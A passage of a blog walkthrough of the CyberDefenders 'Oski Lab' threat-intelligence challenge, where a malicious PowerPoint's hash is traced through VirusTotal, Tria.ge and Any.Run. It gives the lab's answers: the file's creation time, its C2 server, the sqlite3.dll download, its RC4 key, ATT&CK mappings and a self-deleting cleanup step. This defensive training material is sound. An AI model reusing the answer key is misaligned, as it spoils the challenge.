&lt;/blockquote&gt;&#xA;&lt;p&gt;Urgent New Order&amp;quot;&#xA;from a client late in the afternoon. When he attempted to access the attached invoice, he discovered it contained false order information. Subsequently, the SIEM solution generated an alert regarding downloading a potentially malicious file. Upon initial investigation, it was found that the PPT file might be responsible for this download. Could you please conduct a detailed examination of this file?&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, the victim received a suspicious PowerPoint file and executed it. Assuming the role of a Security Analyst, our SIEM solution fired an alert about a potentially malicious file on the victim&amp;rsquo;s workstation — not good! It&amp;rsquo;s up to us to analyze the file hash using online &lt;em&gt;cyber threat intelligence (CTI)&lt;/em&gt; and malware analysis services to determine if the file is a known-malicious artifact and learn more about the nature of the attack.&lt;/p&gt;&#xA;&lt;p&gt;What&amp;rsquo;s in our toolkit for this investigation? We&amp;rsquo;ll start with the popular &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; as a jumping-off point. From there, we&amp;rsquo;ll explore additional sources of information by pivoting to &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Recorded Future&amp;rsquo;s Triage&lt;/strong&gt;&lt;/a&gt; and the dynamic analysis platform &lt;a class=&#34;link&#34; href=&#34;https://app.any.run&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Any.Run&lt;/strong&gt;&lt;/a&gt;. During our investigation, we&amp;rsquo;ll enrich our findings by mapping the observed tactics, techniques, and procedures to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; matrix.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;em&gt;CyberDefenders&lt;/em&gt; &lt;em&gt;(or any educational lab/challenge/range),&lt;/em&gt; it&amp;rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I&amp;rsquo;m going to skip step-by-step setup directions of &lt;strong&gt;REMnux&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; but if you&amp;rsquo;d like to set up your own environment, please follow the guide provided by &lt;strong&gt;REMnux&lt;/strong&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-determining-the-creation-time-of-the-malware-can-provide-insights-into-its-origin-what-was-the-time-of-malware-creation&#34;&gt;Question 1: Determining the creation time of the malware can provide insights into its origin. What was the time of malware creation?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s dive right in! Start by extracting the downloaded challenge file archive. Inside, you&amp;rsquo;ll find the directory &lt;code&gt;temp_extract_dir&lt;/code&gt; containing &lt;code&gt;hash.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This file contains our target — the unique file hash of the potentially malicious &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;PowerPoint&amp;quot;&#xA;file that triggered the SIEM alert. Using this file hash, we can start gathering intelligence about the file from online threat analysis platforms.&lt;/p&gt;&#xA;&lt;p&gt;12c1842c3ccafe7408c23ebf292ee3d9&lt;/p&gt;&#xA;&lt;p&gt;For our first steps, let&amp;rsquo;s pivot out to the popular online malware analysis platform &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;. Head to the &lt;em&gt;VirusTotal&lt;/em&gt; website and paste the malware file hash into the search box. This gives us a high-level overview of the corresponding file. We can see that the sample has already been submitted to the platform and is detected as malicious by a majority of the antivirus vendors that have scanned it. Good start!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;676px&#34; data-flex-grow=&#34;281&#34; height=&#34;284&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/cad72ae2dda38efdbc3e2c9db524d5d2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Detections Tab&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to uncover the creation time of the malware. In &lt;em&gt;VirusTotal&lt;/em&gt;, navigate to the &lt;em&gt;Details&lt;/em&gt; tab and locate the &lt;em&gt;Creation Time&lt;/em&gt; value under the &lt;em&gt;History&lt;/em&gt; section. This value reflects the time the sample was compiled and can be helpful when building a timeline of how a malware attack unfolds. It&amp;rsquo;s worth noting that this timestamp can be spoofed, so don&amp;rsquo;t rely on it for complete accuracy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1401px&#34; data-flex-grow=&#34;583&#34; height=&#34;137&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/592d4a0389d17a95dfb14c7ecf5b7c00_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the sample&amp;rsquo;s creation time within the Details tab&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;901px&#34; data-flex-grow=&#34;375&#34; height=&#34;213&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/0940ee7619531f5b348e3234746a06d1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-identifying-the-command-and-control-c2-server-that-the-malware-communicates-with-can-help-trace-back-to-the-attacker-which-c2-server-does-the-malware-in-the-ppt-file-communicate-with&#34;&gt;Question 2: Identifying the command and control (C2) server that the malware communicates with can help trace back to the attacker. Which C2 server does the malware in the PPT file communicate with?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, we now need to determine any URLs that the malware communicates with. This could indicate a command and control (C2) channel that the malware connects to.&lt;/p&gt;&#xA;&lt;p&gt;To locate this information, click the &lt;em&gt;Relations&lt;/em&gt; tab in &lt;em&gt;VirusTotal&lt;/em&gt; and focus on the &lt;em&gt;Contacted URLs&lt;/em&gt; section. Each entry here represents a URL the malware has attempted to reach. We can click on each one to pivot to its own &lt;em&gt;VirusTotal&lt;/em&gt; entry and dig deeper.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;909px&#34; data-flex-grow=&#34;379&#34; height=&#34;211&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/c17c29ba8e35c2b947515bb6beee6839_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying Contacted URLs&lt;/p&gt;&#xA;&lt;p&gt;For example, by clicking the URL ending in &lt;code&gt;.php&lt;/code&gt;, we can enrich the data by reviewing the &lt;em&gt;Crowdsourced Context&lt;/em&gt; section. This often includes community-contributed insights, and in this case, it tells us that this is the C2 URL.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1432px&#34; data-flex-grow=&#34;597&#34; height=&#34;134&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/e7329c1ffd4532f2585171976a0ee503_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying a C2 IoC&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;777px&#34; data-flex-grow=&#34;323&#34; height=&#34;247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/6b08f7e7b6ff620b12499c6b02360d16_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-identifying-the-initial-actions-of-the-malware-post-infection-can-provide-insights-into-its-primary-objectives-what-is-the-first-library-that-the-malware-requests-post-infection&#34;&gt;Question 3: Identifying the initial actions of the malware post-infection can provide insights into its primary objectives. What is the first library that the malware requests post-infection?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to identify the library requested from the C2 server. Based on the &lt;em&gt;Contacted URLs&lt;/em&gt; we identified in &lt;strong&gt;Question 2&lt;/strong&gt;, we already have some idea of what it might be. But to be thorough, and to explore the data from a different angle, let&amp;rsquo;s stick with &lt;em&gt;VirusTotal&lt;/em&gt; and check the &lt;em&gt;Behavior&lt;/em&gt; tab, which documents the detailed results of the dynamic analysis performed by &lt;em&gt;VirusTotal&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1037px&#34; data-flex-grow=&#34;432&#34; height=&#34;185&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/0c5fd4b9d8fe2eedeba90883945ee60d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the requested library&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to &lt;em&gt;Network Communication &amp;gt; HTTP Requests&lt;/em&gt;. Here, we&amp;rsquo;ll see an HTTP &lt;code&gt;GET&lt;/code&gt; request for a DLL file: &lt;code&gt;sqlite3.dll&lt;/code&gt;, hosted on the C2 URL. Since a DLL file is a library file, and the status code is &lt;code&gt;200&lt;/code&gt; (successful), this evidence strongly suggests that we&amp;rsquo;ve found the answer to &lt;strong&gt;Question 3&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;777px&#34; data-flex-grow=&#34;323&#34; height=&#34;247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/f6f09e9e20a04117a9ee6c79f211753d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-upon-examining-the-malware-it-appears-to-utilize-the-rc4-key-for-decrypting-a-base64-string-what-specific-rc4-key-does-this-malwareuse&#34;&gt;Question 4: Upon examining the malware, it appears to utilize the RC4 key for decrypting a base64 string. What specific RC4 key does this malware use?&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 4, let&amp;rsquo;s pivot from &lt;em&gt;VirusTotal&lt;/em&gt; and search the file hash against another threat intelligence platform — &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/reports/public&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Recorded Future Tria.ge&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Leveraging another platform is a solid strategy to get a fresh perspective on the analysis. Sometimes this reveals new information that isn&amp;rsquo;t available elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;In this case, we&amp;rsquo;re looking to identify the RC4 key used to decrypt a specific base64-encoded string within the malware payload. Searching the &lt;em&gt;Tria.ge&lt;/em&gt; reports, we can find this easily. First, navigate to the &lt;em&gt;Reports&lt;/em&gt; section and input the malware sample file hash into the search field:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;927px&#34; data-flex-grow=&#34;386&#34; height=&#34;207&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/1a859a3dccb8af6a655e1314e71cd69f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Recorded Future Triage: Searching for the malware file hash&lt;/p&gt;&#xA;&lt;p&gt;Then, select the first report to view the results of the analysis. Inside the report, check out the &lt;em&gt;Malware Config&lt;/em&gt; section, which provides a high-level overview of strings extracted from the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/250509-vyp1vshq21&#34;  title=&#34;https://tria.ge/250509-vyp1vshq21&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;stealc | a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb | Triage&lt;/strong&gt;&#xA;_Check this stealc report malware sample a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb, with a score&amp;hellip;_tria.ge&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/250509-vyp1vshq21&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;609px&#34; data-flex-grow=&#34;253&#34; height=&#34;315&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/d4dd8ad9eef7c97706fa1220ac7d9788_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Recorded Future Triage: Identifying the RC4 key from the report&lt;/p&gt;&#xA;&lt;p&gt;Using this method, we can find the RC4 key and complete &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;872px&#34; data-flex-grow=&#34;363&#34; height=&#34;220&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/81e9af91eccb72ada5101ab618078d99_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-identifying-an-adversarys-techniques-can-aid-in-understanding-their-methods-and-devising-countermeasures-which-mitre-attck-technique-are-they-employing-to-steal-a-users-password&#34;&gt;Question 5: Identifying an adversary&amp;rsquo;s techniques can aid in understanding their methods and devising countermeasures. Which MITRE ATT&amp;amp;CK technique are they employing to steal a user&amp;rsquo;s password?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, we now need to identify the specific technique this malware uses to steal a victim&amp;rsquo;s password, as it relates to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; knowledge base.&lt;/p&gt;&#xA;&lt;p&gt;For this task, let&amp;rsquo;s explore a third service — &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Any.Run&lt;/strong&gt;&lt;/a&gt;. This is an interactive sandbox and malware analysis tool with robust reporting capabilities. But first, if we submit the malware hash to &lt;em&gt;Any.Run&lt;/em&gt;, you might notice that there are dozens of reports to sift through, each with varying levels of detail.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s work a little smarter and try to cross-reference a report from the &lt;em&gt;VirusTotal&lt;/em&gt; &lt;em&gt;Community&lt;/em&gt; tab comments. This way, we can pivot from one platform to another as we collect intelligence about the malware. Jump back to &lt;em&gt;VirusTotal&lt;/em&gt; and check out the comment posted by &lt;em&gt;ANY_RUN&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;901px&#34; data-flex-grow=&#34;375&#34; height=&#34;213&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/ab5549bbce2847f1c9051e35bddd1329_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Comment linking to the Any.Run report: &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve found a matching report from &lt;em&gt;VirusTotal&lt;/em&gt;, we can access the corresponding report directly on &lt;em&gt;Any.Run&lt;/em&gt; — awesome! From here, we just need to view the MITRE ATT&amp;amp;CK mappings for the sample by pressing the handy &lt;em&gt;ATT&amp;amp;CK&lt;/em&gt; button.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;429px&#34; data-flex-grow=&#34;178&#34; height=&#34;447&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/72b4f54f078a3c023f74b76c3d5b94a8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any.Run: Locating the ATT&amp;amp;CK button&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, recall that we&amp;rsquo;re looking for a password-stealing function, which falls under the &lt;em&gt;Credential Access&lt;/em&gt; tactic. While there are a few possibilities, we can determine through process of elimination that the technique in question is &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1555/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Credentials from Password Stores (T1555)&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;642px&#34; data-flex-grow=&#34;267&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/f52ca2ee51edd1fc65cc24c49bac565b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any.Run: Identifying the MITRE ATT&amp;amp;CK technique&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;761px&#34; data-flex-grow=&#34;317&#34; height=&#34;252&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/8fb1ecf2e15feeebdadc1faf4d493d53_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-malware-may-delete-files-left-behind-by-the-actions-of-its-intrusion-activity-which-directory-does-the-malware-target-for-deletion&#34;&gt;Question 6: Malware may delete files left behind by the actions of its intrusion activity. Which directory does the malware target for deletion?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s stick with the &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; matrix from &lt;em&gt;Any.Run&lt;/em&gt;. This time, we&amp;rsquo;re looking for the directory deleted by the malware.&lt;/p&gt;&#xA;&lt;p&gt;First things first: we can leverage our knowledge of the attacker&amp;rsquo;s techniques to identify the specific &lt;em&gt;Defense Evasion&lt;/em&gt; sub-technique— &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Indicator Removal: File Deletion (T1070.004)&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;642px&#34; data-flex-grow=&#34;267&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/3bb799eb2447a7752d15819cba2b3987_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any.Run: Identifying the MITRE ATT&amp;amp;CK defense evasion technique&lt;/p&gt;&#xA;&lt;p&gt;Clicking the technique brings us to the details window, which displays evidence of the technique as performed by the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;138&#34; height=&#34;579&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/7e2ab28736c59025460084bfb13b8611_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Analyzing the &lt;code&gt;cmdline&lt;/code&gt; field reveals a command to delete (&lt;code&gt;del&lt;/code&gt;) all &lt;code&gt;.dll&lt;/code&gt; files, specifically targeting the &lt;code&gt;C:\ProgramData&lt;/code&gt; directory. This is a good indicator that the malware is cleaning up after itself.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;876px&#34; data-flex-grow=&#34;365&#34; height=&#34;219&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/e565c317c17c8ec85c4a4814fa5a65a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-understanding-the-malwares-behavior-post-data-exfiltration-can-give-insights-into-its-evasion-techniques-after-successfully-exfiltrating-the-users-data-how-many-seconds-does-it-take-for-the-malware-to-self-delete&#34;&gt;Question 7: Understanding the malware&amp;rsquo;s behavior post-data exfiltration can give insights into its evasion techniques. After successfully exfiltrating the user&amp;rsquo;s data, how many seconds does it take for the malware to self-delete?&#xA;&lt;/h3&gt;&lt;p&gt;For our final task in this lab, let&amp;rsquo;s take a closer look at the file deletion technique. We already identified some cleanup activity in &lt;strong&gt;Question 6&lt;/strong&gt;, so now let&amp;rsquo;s examine the full command to identify the &lt;em&gt;timeout&lt;/em&gt; period.&lt;/p&gt;&#xA;&lt;p&gt;In this case, we&amp;rsquo;re looking for a delay which indicates how long the malware waits before deleting itself. We can see this clearly in several locations within the &lt;em&gt;Any.Run&lt;/em&gt; report, including the &lt;em&gt;Technique Details&lt;/em&gt; section or right on the &lt;em&gt;Overview&lt;/em&gt; page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;138&#34; height=&#34;579&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/ef45ffc5d804a1d3517fe08b69e981b0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any.Run: Identifying the timeout value from the technique details&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;211px&#34; data-flex-grow=&#34;88&#34; height=&#34;909&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/a1086bc7c84bb332fc280683e1cfadca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any.Run: Identifying the timeout value from the report overview&lt;/p&gt;&#xA;&lt;p&gt;The command includes a &lt;code&gt;timeout&lt;/code&gt; value of 5 seconds, showing us that the malware pauses briefly before its self-deletion routine.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve determined the number of seconds, let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;777px&#34; data-flex-grow=&#34;323&#34; height=&#34;247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/82c8aba748c0cc783313210ced88e8b6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! Starting with the file hash of a suspicious file, we successfully used our threat intelligence skills to determine that the PowerPoint file is indeed malicious — time to start our remediation! By pivoting to online &lt;em&gt;threat intelligence&lt;/em&gt; and &lt;em&gt;malware analysis&lt;/em&gt; services, we&amp;rsquo;ve uncovered much more about the nature of this file, including how it operates and what the impact of executing it could be.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;strong&gt;Oski Lab&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for another engaging lab. I always keep &lt;em&gt;threat intelligence&lt;/em&gt; challenges in the rotation because regular practice and learning what tactical information is available is such a 